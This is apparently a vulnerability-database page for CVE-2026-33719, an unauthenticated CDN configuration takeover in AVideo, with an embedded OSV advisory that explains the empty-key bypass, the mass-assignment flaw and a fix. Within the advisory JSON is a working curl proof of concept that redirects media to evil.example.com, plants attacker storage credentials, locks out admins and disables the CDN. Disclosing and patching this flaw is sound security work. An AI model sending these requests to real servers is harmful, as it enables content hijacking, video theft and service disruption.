CVE-2026-33719: AVideo Unauthenticated CDN Configuration Takeover Vulnerability
HIGHCVE-2026-33719 is a HIGH (CVSS 8.6) unauthenticated cdn configuration takeover vulnerability (CWE-306: Missing Authentication for Critical Function) affecting AVideo libraries in the Packagist ecosystem. The issue involves unauthenticated cdn configuration takeover via empty default key bypass and mass-assignment. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33719 at a Glance
Security Impact
CVSS: 8.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L).
How to Fix CVE-2026-33719
To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33719, inspect your project dependencies for AVideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33719 Affected AVideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33719?
Which AVideo versions are affected?
What version fixes CVE-2026-33719?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33719?
What CWE is associated with CVE-2026-33719?
How can I check Packagist dependencies for CVE-2026-33719?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r64r-883r-wcwh",
"modified" : "2026-03-25T21:55:32Z",
"published" : "2026-03-25T21:55:32Z",
"aliases" : [ "CVE-2026-33719" ],
"summary" : "AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment",
"details" : "## Summary\n\nThe CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the `par` request parameter.\n\n## Details\n\nThe CDN plugin defines a default empty key in `plugin/CDN/CDN.php:68`:\n\n```php\n$obj->key = \"\";\n```\n\nThe `status.json.php` endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:\n\n```php\n// Line 16-19: Requires attacker to provide SOME key value\nif (empty($_REQUEST['key'])) {\n $resp->msg = 'Key is empty';\n die(json_encode($resp));\n}\n\n// Line 21-26: Only validates key IF stored key is non-empty\nif (!empty($obj->key)) { // When key is \"\" (default), this is FALSE\n //check the key\n if ($obj->key !== $_REQUEST['key']) {\n $resp->msg = 'Key Does not match';\n die(json_encode($resp));\n }\n}\n```\n\nWhen the stored key is the default empty string `\"\"`, `!empty(\"\")` evaluates to `false`, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.\n\nFollowing the bypass, lines 28-31 perform unchecked mass-assignment:\n\n```php\n$obj->key = $_REQUEST['key'];\nforeach ($_REQUEST['par'] as $key => $value) {\n $obj->{$key} = $value;\n $resp->{$key} = $value;\n}\n```\n\nThe attacker-controlled `par` array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:\n\n```php\n$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');\n$id = $cdn->setDataObject($obj);\n```\n\n`setDataObject()` in `Plugin.abstract.php:263` serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.\n\nExploitable properties (defined in `CDN.php:62-87`) include:\n- `CDN` — main CDN URL for serving all video content\n- `CDN_S3`, `CDN_B2`, `CDN_FTP` — storage-specific CDN URLs\n- `enable_storage` — enables CDN storage functionality\n- `storage_hostname`, `storage_username`, `storage_password` — storage backend credentials\n- `key` — the authentication key itself (via mass-assignment, can override line 28)\n\nThe `disable.json.php` endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: `$cdn->setStatus('inactive')`).\n\nThis contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, `Gallery/saveSort.json.php` (commit 087dab884) uses `isGlobalTokenValid()`, and commit daca4ffb1 added `User::isAdmin()` checks to other configuration endpoints.\n\n## PoC\n\n**Prerequisites:** AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).\n\n**Step 1: Verify CDN plugin is enabled and key is default**\n\n```bash\ncurl -s 'https://target/plugin/CDN/status.json.php' \\\n -d 'key=anything' \\\n -d 'par[CDN]=https://evil.example.com/'\n```\n\nIf the response contains `\"error\":false`, the key bypass worked and CDN URL has been overwritten.\n\n**Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins**\n\n```bash\ncurl -s 'https://target/plugin/CDN/status.json.php' \\\n -d 'key=initial-bypass' \\\n -d 'par[CDN]=https://evil.example.com/' \\\n -d 'par[enable_storage]=1' \\\n -d 'par[storage_hostname]=evil.example.com' \\\n -d 'par[storage_username]=attacker' \\\n -d 'par[storage_password]=controlled' \\\n -d 'par[key]=attacker-secret-key'\n```\n\nThis single request:\n1. Redirects all CDN-served media URLs to attacker's server\n2. Enables CDN storage pointing to attacker-controlled host\n3. Sets the key to `attacker-secret-key`, locking legitimate administrators out of reconfiguring via this endpoint\n\n**Step 3: Disable CDN entirely (denial of service)**\n\n```bash\ncurl -s 'https://target/plugin/CDN/disable.json.php' \\\n -d 'key=attacker-secret-key' \\\n -d 'par[x]=1'\n```\n\nThis deactivates the CDN plugin, disrupting media delivery.\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Redirect all media delivery** — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.\n2. **Exfiltrate uploaded videos** — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server.\n3. **Overwrite storage credentials** — The `storage_hostname`, `storage_username`, and `storage_password` fields are all mass-assignable, allowing the attacker to hijack the storage backend.\n4. **Lock out administrators** — By setting the `key` via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected).\n5. **Disable CDN** — Via `disable.json.php`, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.\n\nThe vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.\n\n## Recommended Fix\n\nAdd proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php`, add an admin check after the configuration include:\n\n```php\nrequire_once dirname(__FILE__) . '/../../videos/configuration.php';\n_session_write_close();\nheader('Content-Type: application/json');\n\n$resp = new stdClass();\n$resp->error = true;\n$resp->msg = '';\n\n// Fix: Require admin authentication\nif (!User::isAdmin()) {\n $obj = AVideoPlugin::getDataObjectIfEnabled('CDN');\n if (empty($obj) || empty($obj->key) || empty($_REQUEST['key']) || $obj->key !== $_REQUEST['key']) {\n $resp->msg = 'Authentication required';\n die(json_encode($resp));\n }\n}\n```\n\nAdditionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:\n\n```php\n$allowedParams = ['CDN', 'CDN_S3', 'CDN_B2', 'CDN_FTP', 'CDN_Live'];\nforeach ($_REQUEST['par'] as $key => $value) {\n if (!in_array($key, $allowedParams, true)) {\n continue;\n }\n $obj->{$key} = $value;\n $resp->{$key} = $value;\n}\n```\n\nThis prevents mass-assignment of sensitive properties like `key`, `storage_password`, `storage_hostname`, and `enable_storage` even when the key-based auth is legitimately used by CDN nodes.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33719"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-25T21:55:32Z",
"nvd_published_at" : "2026-03-23T19:16:42Z"
}
}